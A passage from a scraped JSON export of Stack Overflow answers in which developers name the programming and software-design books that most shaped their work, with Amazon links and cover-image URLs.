href=\"http://portal.acm.org/citation.cfm?id=1243380&amp;jmp=cit&amp;coll=portal&amp;dl=GUIDE&amp;CFID=://www.acm.org/publications/&amp;CFTOKEN=www.acm.org/publications/#CIT\" rel=\"nofollow noreferrer\">Structured Programming</a> and particlarly the essay titled \"On Our Inability To Do Much\".</p>\n" }, { "answer_id": 74643, "author": "Buzz", "author_id": 13113, "author_profile": "https://Stackoverflow.com/users/13113", "pm_score": 2, "selected": false, "text": "<p>My high school math teacher lent me a copy of <a href=\"https://rads.stackoverflow.com/amzn/click/com/0932633161\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Are Your Lights Figure Problem</a> that I have re-read many times. It has been invaluable, as a developer, and in life generally. </p>\n" }, { "answer_id": 74710, "author": "TMarshall", "author_id": 8847, "author_profile": "https://Stackoverflow.com/users/8847", "pm_score": 2, "selected": false, "text": "<p>The question is, <em>\"What book really made an impact of how you work as a developer?\"</em> Without any doubt, <strong>Programming Windows with MFC</strong>, by Jeff Prosise, is the book that had the greatest impact on HOW I work as a developer. It did not teach me the fundamentals of \"programming\" but it opened the world of Windows platform development to me and many thousands of other developers.</p>\n\n<p>I had written a little Windows code previously in the \"Petzold style\" before MFC was developed. I quickly decided the Windows platform we just not worth the trouble as a developer. When Prosise came out with his MFC book, I realized (along with thousands of other non-Windows programmers) that I could create an easy to use interface that users would not just understand, but actually enjoy using. I devoured the book, making so many notes in it and turning down so many corners, I eventually bought a second copy. </p>\n\n<p>Prosise, Jeff. <em>Programming Windows with MFC 2nd Ed.</em>\nMicrosoft Press 1999\nISBN: 1-57231-695-0</p>\n" }, { "answer_id": 74953, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<p>The Productive Programmer by Ford</p>\n\n<p>I'm not quite through this one yet, but I'm already thrilled by some of the tips/tricks I've picked up to become more...well...productive.</p>\n\n<p>Sure, there's plenty of the stuff we all already know (use the keyboard shortcuts, DRY, etc). But there's plenty of new stuff to go with it. And careful readers will quickly start to see how things can be combined for even greater effect.</p>\n" }, { "answer_id": 74983, "author": "Vaibhav", "author_id": 380, "author_profile": "https://Stackoverflow.com/users/380", "pm_score": 1, "selected": false, "text": "<p>Object Oriented Analysis and Design - by Grady Booch</p>\n" }, { "answer_id": 75037, "author": "Joe Morgan", "author_id": 13244, "author_profile": "https://Stackoverflow.com/users/13244", "pm_score": 0, "selected": false, "text": "<p>The C++ Series of programming books by Deitel and Deitel</p>\n" }, { "answer_id": 75058, "author": "DavidGR", "author_id": 9480, "author_profile": "https://Stackoverflow.com/users/9480", "pm_score": 1, "selected": false, "text": "<p><strong>\"Thinking in C++\"</strong> by Bruce Eckel</p>\n" }, { "answer_id": 75219, "author": "Mark Holtman", "author_id": 13286, "author_profile": "https://Stackoverflow.com/users/13286", "pm_score": 2, "selected": false, "text": "<p>Domain Driven Design by Eric Evans</p>\n" }, { "answer_id": 75220, "author": "Joe Liversedge", "author_id": 4552, "author_profile": "https://Stackoverflow.com/users/4552", "pm_score": 0, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/1558605703\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Managing Gigabytes</a> is an instant classic for thinking about the heavy lifting of information.</p>\n" }, { "answer_id": 75227, "author": "user13288", "author_id": 13288, "author_profile": "https://Stackoverflow.com/users/13288", "pm_score": 0, "selected": false, "text": "<p>C# for Experienced Programmers</p>\n\n<p>or really anything from Dietel &amp; Dietel. I have read several of their books, and everything has been awesome.</p>\n" }, { "answer_id": 75393, "author": "Michael Easter", "author_id": 12704, "author_profile": "https://Stackoverflow.com/users/12704", "pm_score": 0, "selected": false, "text": "<p>Years ago, Bruce Eckel's Thinking in C++ taught me a great deal about C++ but also the importance of isolating an issue to a small 'sandbox' for study/analysis. This technique has greatly impacted my career and routinely helps me troubleshoot problems both for myself and others.</p>\n\n<p>These days, I refer to Thinking in Java, which is written in the same style. Somehow, the style is beyond mere, simple 'examples' and profoundly gets at the heart of the issue.</p>\n\n<p>I am so grateful that I will buy virtually anything by Eckel, sight unseen.</p>\n" }, { "answer_id": 75436, "author": "Kris Gray", "author_id": 1302167, "author_profile": "https://Stackoverflow.com/users/1302167", "pm_score": 2, "selected": false, "text": "<p><a href=\"http://ecx.images-amazon.com/images/I/519J3P8ANML._SL500_AA240_.jpg\" rel=\"nofollow noreferrer\">http://ecx.images-amazon.com/images/I/519J3P8ANML._SL500_AA240_.jpg</a></p>\n\n<p>Took my programing to a whole new level.</p>\n" }, { "answer_id": 75584, "author": "EmmEff", "author_id": 9188, "author_profile": "https://Stackoverflow.com/users/9188", "pm_score": 0, "selected": false, "text": "<p>When I first started, there was \"Mastering Turbo Pascal\" by Tom Swan. There is nothing terribly profound about this book. It was clear and concise with usable examples. Based on this knowledge, I spawned a software development career now 15+ years in.</p>\n" }, { "answer_id": 75587, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>C++ BlackBook. KISS all the way through</p>\n" }, { "answer_id": 75695, "author": "Nate", "author_id": 12779, "author_profile": "https://Stackoverflow.com/users/12779", "pm_score": 1, "selected": false, "text": "<p>Donald Norman, 'The Design of Everyday Things'</p>\n\n<p>Not about programming, per se, but about how things in the world should <em>work</em> -- kind of the psychology of usability.</p>\n\n<p>It's been invaluable for me in designing both end-user interfaces and APIs.</p>\n" }, { "answer_id": 75783, "author": "Zartog", "author_id": 9467, "author_profile": "https://Stackoverflow.com/users/9467", "pm_score": 0, "selected": false, "text": "<p>Mastering C++ from Tom Swan. It was the best kind of book, it had examples which were simple enough to teach concepts but useful enough to solve other problems. It was very readable, it was the first book I read when got to college, and it only needed to be read once.</p>\n" }, { "answer_id": 75932, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>Tenenbaum's first operating systems book. My first look at kernal level programming.</p>\n" }, { "answer_id": 76132, "author": "Joe Corkery", "author_id": 7587, "author_profile": "https://Stackoverflow.com/users/7587", "pm_score": 0, "selected": false, "text": "<p>\"Algorithms in C\" (1st edition) by Sedgewick taught me all about algorithms as well as teaching me all about the pitfalls of documentation and copy/pasting code as all the example code in this version was taken from the \"Algorithms in Pascal\" version and were simply passed through a simple code translator which did not adjust for the different indexing schemes.</p>\n" }, { "answer_id": 76365, "author": "Ryan Skarin", "author_id": 13593, "author_profile": "https://Stackoverflow.com/users/13593", "pm_score": 0, "selected": false, "text": "<p>My all-time favorite was the C# Back Book, by Matthew Telles.</p>\n" }, { "answer_id": 76398, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p><a href=\"http://www.amazon.ca/Dreaming-Code-Programmers-Transcendent-Software/dp/1400082471/ref=pd_bbs_3?ie=UTF8&amp;s=books&amp;qid=1221595779&amp;sr=8-3\" rel=\"nofollow noreferrer\">Dreaming in Code</a> Has probably had the most profound impact in the last 6 months.</p>\n" }, { "answer_id": 76530, "author": "Roskoto", "author_id": 13635, "author_profile": "https://Stackoverflow.com/users/13635", "pm_score": 0, "selected": false, "text": "<p>\"The C++ Programming Language\" by Bjarne Stroustrup</p>\n" }, { "answer_id": 76678, "author": "Scott Lawrence", "author_id": 3475, "author_profile": "https://Stackoverflow.com/users/3475", "pm_score": 2, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/078214327X\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Coder to Developer</a>, by Mike Gunderloy.</p>\n" }, { "answer_id": 77228, "author": "Bob Moore", "author_id": 9368, "author_profile": "https://Stackoverflow.com/users/9368", "pm_score": 0, "selected": false, "text": "<p>Actually, two books stand out. The first was Code Complete. Despite its age, this is still a very useful book, and the chapter on the dangers of premature optimisation is worth the price of the book on its own. </p>\n\n<p>The second one was The Psychology of Everyday Things (now called The Design of Everyday Things, I think), which changed the way I think about user interfaces when designing applications. It made me more user-focused.</p>\n" }, { "answer_id": 77263, "author": "tkrehbiel", "author_id": 4925, "author_profile": "https://Stackoverflow.com/users/4925", "pm_score": 2, "selected": false, "text": "<p>Amiga ROM Kernel Manuals :)</p>\n" }, { "answer_id": 77850, "author": "gt124", "author_id": 14093, "author_profile": "https://Stackoverflow.com/users/14093", "pm_score": 1, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0201834545\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Inside the C++ object model</a> by Stanley Lippman</p>\n" }, { "answer_id": 78751, "author": "Gustavo Rubio", "author_id": 14533, "author_profile": "https://Stackoverflow.com/users/14533", "pm_score": 1, "selected": false, "text": "<p><a href=\"http://openbookproject.net/thinkCSpy/index.xhtml\" rel=\"nofollow noreferrer\">How to think like a computer scientist: learning with python</a></p>\n\n<p>May not be the most advanced book on the world but it made me understand programming concepts that I couldn't, especially object oriented topics.</p>\n" }, { "answer_id": 78853, "author": "convex hull", "author_id": 10747, "author_profile": "https://Stackoverflow.com/users/10747", "pm_score": 2, "selected": false, "text": "<p>This might not count as a \"development book\" but I have to throw it in anyway: Hackers by Stephen Levy. I found that it spoke to the emotional side of programming.</p>\n" }, { "answer_id": 79095, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/1556155514\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">\"Writing Solid Code: Microsoft's Techniques for Developing Bug-Free C Programs (Microsoft Programming Series)\"</a> by Steve MacGuire.</p>\n\n<p>Interesting what a large proportion the books mentioned here are C/C++ books.</p>\n" }, { "answer_id": 79144, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>For me \"Memory as a programming concept in C and C++\" really opened my eyes to how memory management really works. If you're a C or C++ developer I consider it a must read. You will defiantly learn something or remember things you might have forgotten along the way.</p>\n\n<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0521520436\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">http://www.amazon.com/Memory-Programming-Concept-C/dp/0521520436</a></p>\n" }, { "answer_id": 79649, "author": "Dave Rolsky", "author_id": 9832, "author_profile": "https://Stackoverflow.com/users/9832", "pm_score": 2, "selected": false, "text": "<p>Separately, I'd mention <a href=\"http://www.thethirdmanifesto.com/\" rel=\"nofollow noreferrer\">The Third Manifesto</a> by Hugh Darwen and CJ Date. If you're interested in understanding <em>data</em> (which seems uncommon among programmers) this book is a must-read. It will also make you sad when you realize just how badly broken SQL is, but it'll also help you cope with that brokenness. Knowing how a tool is broken lets you design with those deficits in mind.</p>\n" }, { "answer_id": 80072, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0130676349\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Agile Software Development with Scrum</a> by Ken Schwaber and Mike Beedle.</p>\n\n<p>I used this book as the starting point to understanding Agile development. </p>\n" }, { "answer_id": 80374, "author": "Ian", "author_id": 14871, "author_profile": "https://Stackoverflow.com/users/14871", "pm_score": 1, "selected": false, "text": "<p>The Pragmatic programmer was pretty good. However one that really made an impact when I was starting out was :</p>\n\n<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/1568843186\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Windows 95 System Programming Secrets\"</a></p>\n\n<p>I know - it sounds and looks a bit cheesy on the outside and has probably dated a bit - but this was an awesome explanation of the internals of Win95 based on the Authors (Matt Pietrek) investigations using his own own tools - the code for which came with the book. Bear in mind this was before the whole open source thing and Microsoft was still pretty cagey about releasing documentation of internals - let alone source. \nThere was some quote in there like \"If you are working through some problem and hit some sticking point then you need to stop and really look deeply into that piece and really understand how it works\". I've found this to be pretty good advice - particularly these days when you often have the source for a library and can go take a look. \nIts also inspired me to enjoy diving into the internals of how systems work, something that has proven invaluable over the course of my career.</p>\n\n<p>Oh and I'd also throw in effective .net - great internals explanation of .Net from Don Box.</p>\n" }, { "answer_id": 80404, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>SAP ABAP programming?\n\"Teach Yourself ABAP in 21 Days\" is the best book!</p>\n\n<p>It contains no clever tricks or wizardry, but after 3 years, I never came upon a more comprehensive book</p>\n" }, { "answer_id": 80505, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>Schaum's Outline of Programming with C++ by John R Hubbard.</p>\n\n<p>This was the first programming book I read, when I started out with C++. It was gifted to me by someone who saw my interest in programming. The book is very good for beginners - it started from the elementary concepts, went up to templates and vectors. The examples given were pretty relevant. The book made you ponder and ask more questions, and try out things for yourself. </p>\n" }, { "answer_id": 80705, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>The most influential programming book for me was <a href=\"https://rads.stackoverflow.com/amzn/click/com/0070296898\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\"><em>Enough Rope to Shoot Yourself in the Foot</em></a> by <a href=\"http://holub.com/\" rel=\"nofollow noreferrer\">Allen Holub</a>.</p>\n\n<p><a href=\"http://ecx.images-amazon.com/images/I/71AE90J735L._SL500_AA240_.gif\" rel=\"nofollow noreferrer\">Cover of the book http://ecx.images-amazon.com/images/I/71AE90J735L._SL500_AA240_.gif</a></p>\n\n<p>O, well, how long ago it was.</p>\n" }, { "answer_id": 80893, "author": "Rob", "author_id": 9236, "author_profile": "https://Stackoverflow.com/users/9236", "pm_score": 1, "selected": false, "text": "<p>In recent years it has been 'The C++ Standard Library' by 'Nicolai M. Josuttis'. It's my bible.</p>\n\n<p><a href=\"http://ecx.images-amazon.com/images/I/51BT5SKXTCL._SL500_AA240_.jpg\" rel=\"nofollow noreferrer\">alt text http://ecx.images-amazon.com/images/I/51BT5SKXTCL._SL500_AA240_.jpg</a></p>\n" }, { "answer_id": 80944, "author": "icelava", "author_id": 2663, "author_profile": "https://Stackoverflow.com/users/2663", "pm_score": 3, "selected": false, "text": "<p>Martin Fowler's <strong><a href=\"http://www.amazon.co.uk/Refactoring-Improving-Design-Existing-Technology/dp/0201485672/\" rel=\"nofollow noreferrer\">Refactoring: Improving the Design of Existing Code</a></strong> has already been listed. But I will detail why it has impacted me.</p>\n\n<p>The essence of the whole book is about structuring code so that it is simpler to read and understand by <em>humans</em>. It teaches me strongly that the code that I write is meant for my colleagues and successors to consume and possibly learn something <em>good</em> out of it. It inspires me to consciously <a href=\"http://icelava.net/forums/post/1040.aspx\" rel=\"nofollow noreferrer\">program in a manner that leaves people praising my name, and not cursing me to damnation for all eternity</a>.</p>\n" }, { "answer_id": 81253, "author": "AviD", "author_id": 10080, "author_profile": "https://Stackoverflow.com/users/10080", "pm_score": 2, "selected": false, "text": "<p>Another book that has not been mentioned yet, and SHOULD be required reading for EVERY programmer, newbies on up to gurus, in ANY programming language, is Michael Howard's Writing Secure Code (2nd Edition) from MSPress.</p>\n" }, { "answer_id": 81276, "author": "Jonas Engström", "author_id": 7634, "author_profile": "https://Stackoverflow.com/users/7634", "pm_score": 1, "selected": false, "text": "<p>The first book that made a real impact on me was <em><a href=\"https://rads.stackoverflow.com/amzn/click/com/0672305267\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Mastering Turbo Assembler</a></em> by Tom Swan.</p>\n\n<p>Other books that have had an impact was <em><a href=\"https://rads.stackoverflow.com/amzn/click/com/0066620732\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Just For Fun</a></em> by Linus Torvalds and David Diamond and of course <em><a href=\"https://rads.stackoverflow.com/amzn/click/com/020161622X\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">The Pragmatic Programmer</a></em> by Andrew Hunt and David Thomas.</p>\n" }, { "answer_id": 81430, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>As so many people have listed Head First Design Patterns, which I agree is a very good book, I would like to see if so many people aware of a title called <a href=\"https://rads.stackoverflow.com/amzn/click/com/0201715945\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Design Patterns Explained: A New Perspective on Object-Oriented Design</a>. </p>\n\n<p>This title deals with design patterns excellently. The first half of the book is very accessible and the remaining chapters require only a firm grasp of the content already covered The reason I feel the second half of the book is less accessible is that it covers patterns that I, as a young developer admittedly lacking in experience, have not used much. </p>\n\n<p>This title also introduces the concept behind design patterns, covering Christopher Alexander's initial work in architecture to the GoF first implementing documenting patterns in SmallTalk.</p>\n\n<p>I think that anyone who enjoyed Head First Design Patterns but still finds the GoF very dry, should look into Design Patterns Explained as a much more readable (although not quite as comprehensive) alternative.</p>\n" }, { "answer_id": 81470, "author": "GowriKumar", "author_id": 15150, "author_profile": "https://Stackoverflow.com/users/15150", "pm_score": 0, "selected": false, "text": "<p><a href=\"http://g-ecx.images-amazon.com/images/G/01/ciu/31/89/d4ac024128a044c186a18010._AA207_.L.jpg\" rel=\"nofollow noreferrer\">How to Solve it by computer http://g-ecx.images-amazon.com/images/G/01/ciu/31/89/d4ac024128a044c186a18010._AA207_.L.jpg</a> - R.G.Dromey</p>\n" }, { "answer_id": 81618, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>Craig Larman's <em>Applying UML and Patterns</em>. While the Gang of Four book <em>Design Patterns</em> is very instructive, I found that I didn't \"get\" how to use design patterns until I ran across Larman's book in a programming class.</p>\n" }, { "answer_id": 82352, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>Advanced MS-DOS by Ray Duncan.</p>\n" }, { "answer_id": 82446, "author": "Desty", "author_id": 2161072, "author_profile": "https://Stackoverflow.com/users/2161072", "pm_score": 0, "selected": false, "text": "<p>Probably \"C for Dummies\" vol 1, back in 1997 or so. Just an introduction really, but it was a good read after having picked up the taste for programming in GFA Basic on the Atari ST. The Coronado C tutorial around the same time helped too.</p>\n" }, { "answer_id": 82863, "author": "gio", "author_id": 6619, "author_profile": "https://Stackoverflow.com/users/6619", "pm_score": 2, "selected": false, "text": "<p>for low level entertainment i would suggest <strong>Michael Abrash's</strong><br>\ni) -Zen of Code Optimization- and<br>\nii) -Graphics Programming Black Book-<br>\neven if you dont do any graphics programming. </p>\n" }, { "answer_id": 83579, "author": "old_timer", "author_id": 16007, "author_profile": "https://Stackoverflow.com/users/16007", "pm_score": 0, "selected": false, "text": "<p>Michael Abrash The Zen of Assembly Language</p>\n" }, { "answer_id": 83881, "author": "workmad3", "author_id": 16035, "author_profile": "https://Stackoverflow.com/users/16035", "pm_score": 0, "selected": false, "text": "<p>Applying UML and Design Patterns.</p>\n\n<p>It helped design patterns to click with me, and provided a justification for UML that made sense to me in the phrasing 'UML as Sketch'. Namely that UML should be used as a brief sketch of the system that has the additional benefit of you not having to explain the notation to others (they either already know UML or you give them a UML book to read)</p>\n" }, { "answer_id": 86239, "author": "Nils Pipenbrinck", "author_id": 15955, "author_profile": "https://Stackoverflow.com/users/15955", "pm_score": 0, "selected": false, "text": "<p>The Algorithms book from Robert Sedgewick. A must-read for application developers.</p>\n\n<p>Comes in many flavours (C, C++, Java)</p>\n\n<p><a href=\"http://www.cs.princeton.edu/~rs/\" rel=\"nofollow noreferrer\">http://www.cs.princeton.edu/~rs/</a></p>\n" }, { "answer_id": 86779, "author": "Lot105", "author_id": 9801, "author_profile": "https://Stackoverflow.com/users/9801", "pm_score": 1, "selected": false, "text": "<p>If you are doing anything in Unix/Linux/MacOS etc, you must read Advanced Programming in the Unix Environment (also known by the acronym APUE), by the late W Richard Stevens. If you don't know how file descriptors work or what sessions are, or all the things you should do when you daemonize yourself (admit it, you don't), then this book will tell you.</p>\n\n<p>You'll feel amatuerish for a bit afterwards, but if you want to consider yourself a professional programmer (in any language) in the Unix environment you need to read this.</p>\n" }, { "answer_id": 90266, "author": "Christophe Herreman", "author_id": 17255, "author_profile": "https://Stackoverflow.com/users/17255", "pm_score": 2, "selected": false, "text": "<p>I would say that \"<a href=\"http://www.lifebeyondcode.com/\" rel=\"nofollow noreferrer\">Beyond Code - Learn to Distinguish Yourself in 9 Simple Steps</a>\" is quite a good and motivational book. I doesn't cover technical issues, but it describes ways of working with people, being professional, ... For me, this is a book you can read again and again if you are in need of some pep talk. Besides that, it is cheap and very easy and enjoyable to read in 3 to 4 hours.</p>\n\n<p>There is a little review over at <a href=\"http://www.herrodius.com/blog/54\" rel=\"nofollow noreferrer\">my blog</a>.</p>\n" }, { "answer_id": 90853, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>Whether you are coding in Smalltalk or not <a href=\"https://rads.stackoverflow.com/amzn/click/com/013476904X\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\" title=\"Smalltalk Best Practice Patterns\">Smalltalk Best Practice Patterns</a> is a great read. Full of small observations that will change the way you code; for the better.</p>\n" }, { "answer_id": 109060, "author": "Doug L.", "author_id": 19179, "author_profile": "https://Stackoverflow.com/users/19179", "pm_score": 1, "selected": false, "text": "<p>Even though I had been programming rofessionally for years, Rocky Lhotka's \"Business Objects\" series about his CSLA framework was the book that opened my eyes.\n<br/><br/>\nHis ideas he got me excited about software development patterns and theory again. It set me on the path of a new interest in learning how to be a better developer, and not just learning about the latest gee-whiz control or library. (Don't get me wrong, I still love a good technical book too - you gotta keep up!)</p>\n" }, { "answer_id": 109090, "author": "daniel", "author_id": 19741, "author_profile": "https://Stackoverflow.com/users/19741", "pm_score": 1, "selected": false, "text": "<p>I found the <a href=\"https://rads.stackoverflow.com/amzn/click/com/1848000693\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">The Algorithm Design Manual</a> to be a very beneficial read. I also highly recommend <a href=\"https://rads.stackoverflow.com/amzn/click/com/0201657880\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Programming Pearls</a>.</p>\n" }, { "answer_id": 110019, "author": "Doug L.", "author_id": 19179, "author_profile": "https://Stackoverflow.com/users/19179", "pm_score": 1, "selected": false, "text": "<p>\"<a href=\"http://www.seas.gwu.edu/~kaufman1/FortranColoringBook/ColoringBkCover.html\" rel=\"nofollow noreferrer\">The Fortran Coloring Book</a>\" by <a href=\"http://www.seas.gwu.edu/~kaufman1/\" rel=\"nofollow noreferrer\">Dr. Roger Kaufman</a> (1978, ISBN:0262610264)</p>\n\n<p>What a silly concept - more basic than even a \"Dummies\" book! But it works for any language (with a few fortran specific examples of course), explaining the basic concepts of logic, variables, i/o, etc. in a very understandable and \"Painfully Funny\" way.</p>\n\n<p>It's enough to get a ten year old interested in programming...</p>\n\n<p><img src=\"https://farm1.static.flickr.com/155/390132231_6600db7b54_m.jpg\" alt=\"alt text\"></p>\n\n<p>(Found cover photo on a <a href=\"http://www.flickr.com/photos/believekevin/390132231/\" rel=\"nofollow noreferrer\">Flickr user account</a>)</p>\n" }, { "answer_id": 110859, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<p>recommended for Windows Programmer, <a href=\"https://rads.stackoverflow.com/amzn/click/com/157231995X\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Programming Windows</a></p>\n" }, { "answer_id": 111265, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>I am surprised there is no mention yet of this book: <a href=\"http://home.iae.nl/users/mhx/sf.html\" rel=\"nofollow noreferrer\">Starting Forth</a>, by Leo Brodie. After all Forth, being a stack-based language, should fit the audience on this site...</p>\n\n<p>Admittedly, Forth is a weird language and not very popular these days. But this book is a joy to read. And it has cartoons! The book, as well as Brodie's other book, <a href=\"http://thinking-forth.sourceforge.net/\" rel=\"nofollow noreferrer\">Thinking Forth</a>, are both available free on the web.</p>\n" }, { "answer_id": 119305, "author": "Krirk", "author_id": 17521, "author_profile": "https://Stackoverflow.com/users/17521", "pm_score": 3, "selected": false, "text": "<p><a href=\"http://ecx.images-amazon.com/images/I/61dECNkdnTL._SL500_AA240_.jpg\" rel=\"noreferrer\">alt text http://ecx.images-amazon.com/images/I/61dECNkdnTL._SL500_AA240_.jpg</a></p>\n\n<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0136152503\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">C++ How to Program</a> It is good for beginner.This is excellent book that full complete with 1500 pages.</p>\n" }, { "answer_id": 130593, "author": "CR.", "author_id": 20387, "author_profile": "https://Stackoverflow.com/users/20387", "pm_score": 2, "selected": false, "text": "<p>A Whole New Mind, by Daniel Pink. Interesting take on the future of our industry.</p>\n\n<p>I assume most of the folks reading this will have read the books at the top of the list already. So, i'll offer a book that takes a different look at our industry.</p>\n\n<p><a href=\"http://www.danpink.com/images/wnm.jpg\" rel=\"nofollow noreferrer\">alt text http://www.danpink.com/images/wnm.jpg</a></p>\n" }, { "answer_id": 164941, "author": "Geoff Snowman", "author_id": 2008505, "author_profile": "https://Stackoverflow.com/users/2008505", "pm_score": 1, "selected": false, "text": "<p>Anything by Edward Tufte: The Visual Display of Quantitative Information; Envisioning Information; Visual Explanations</p>\n" }, { "answer_id": 183713, "author": "afternoon", "author_id": 26201, "author_profile": "https://Stackoverflow.com/users/26201", "pm_score": 3, "selected": false, "text": "<p><a href=\"http://www.codinghorror.com/blog/images/facts-and-fallacies-of-software-engineering.jpg\">Facts and Fallacies of Software Engineering by Robert L. Glass http://www.codinghorror.com/blog/images/facts-and-fallacies-of-software-engineering.jpg</a></p>\n\n<p><a href=\"http://books.google.co.uk/books?hl=en&amp;id=3Ntz-UJzZN0C&amp;dq=facts+and+fallacies&amp;printsec=frontcover&amp;source=web&amp;ots=zeNETSf0qr&amp;sig=RoSzxFvdi7dohjf-qXGu3iDAmu8&amp;sa=X&amp;oi=book_result&amp;resnum=3&amp;ct=result\">Facts and Fallacies of Software Engineering by Robert L. Glass</a> is a really excellent book. I had been a professional hacker for almost 10 years before I read it, and a I still learned a ton of stuff.</p>\n" }, { "answer_id": 200877, "author": "Tarski", "author_id": 27653, "author_profile": "https://Stackoverflow.com/users/27653", "pm_score": 3, "selected": false, "text": "<p><a href=\"http://ecx.images-amazon.com/images/I/51HCJ5R42KL._SL500_BO2,204,203,200_AA219_PIsitb-sticker-dp-arrow,TopRight,-24,-23_SH20_OU02_.jpg\" rel=\"noreferrer\">Discrete Mathematics For Computer Scientists http://ecx.images-amazon.com/images/I/51HCJ5R42KL._SL500_BO2,204,203,200_AA219_PIsitb-sticker-dp-arrow,TopRight,-24,-23_SH20_OU02_.jpg</a></p>\n\n<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0201360616\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">Discrete Mathematics For Computer Scientists</a> by J.K. Truss.</p>\n\n<p>While this doesn't teach you programming, it teaches you fundamental mathematics that every programmer should know. You may remember this stuff from university, but really, doing predicate logic will improve you programming skills, you need to learn Set Theory if you want to program using collections.</p>\n\n<p>There really is a lot of interesting information in here that can get you thinking about problems in different ways. It's handy to have, just to pick up once in a while to learn something new.</p>\n" }, { "answer_id": 215173, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<p>OK, so the question is not \"what's the best programming book\", but \"if you could tell yourself what to read in the beginning of your career\"...</p>\n\n<p>Probably one of \"On Lisp\" and SICP, plus one of CLRS or \"Algorithms: a creative approach\" by Udi Manber.</p>\n\n<p><a href=\"http://vig-fp.prenhall.com/bigcovers/0201120372.jpg\" rel=\"nofollow noreferrer\">Introduction to Algorithms by Udi Manber http://vig-fp.prenhall.com/bigcovers/0201120372.jpg</a></p>\n\n<p>The first two will teach lots of programming techniques, patterns, and really open up one's mind to his/her own creativity; the other two are different. They're more theoretical, but also very important, focusing on design of correct and efficient algorithms (and requiring substantially more math).</p>\n\n<p>I see lots of people recommending the three first books when the subject of \"good programming books\" pops up, but the last one (by Manber) is a great book, and few people know it. It's a shame! Manber focuses on the incremental development of algorithms through theorem proving using induction.</p>\n" }, { "answer_id": 215195, "author": "HeretoLearn", "author_id": 1984928, "author_profile": "https://Stackoverflow.com/users/1984928", "pm_score": 1, "selected": false, "text": "<p>If you write code in C then Expert C Programming is an eye opener. It has answers to all the things you wondered why it works this way. Peter Van Der Linden has a great writing style and makes arcane concepts very readable. A must read for all C developers</p>\n" }, { "answer_id": 238388, "author": "Jasper Bekkers", "author_id": 31486, "author_profile": "https://Stackoverflow.com/users/31486", "pm_score": 3, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0812972155\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">Masters of doom.</a> As far as motivation and love for your profession go: it won't get any better than what's been described in this book, truthfully inspiring story!</p>\n" }, { "answer_id": 249265, "author": "lkessler", "author_id": 30176, "author_profile": "https://Stackoverflow.com/users/30176", "pm_score": 1, "selected": false, "text": "<p>Fortran IV with Watfor and Watfiv by Cress, Dirkson and Graham.</p>\n\n<p>This book taught me my first programming language that I programmed onto punch cards at the time. After 3 years, the book was all tatters because I had used it so much. </p>\n\n<p><a href=\"http://g-ecx.images-amazon.com/images/G/01/ciu/4b/83/245d9833e7a03768eaf63110._AA240_.L.jpg\" rel=\"nofollow noreferrer\">alt text 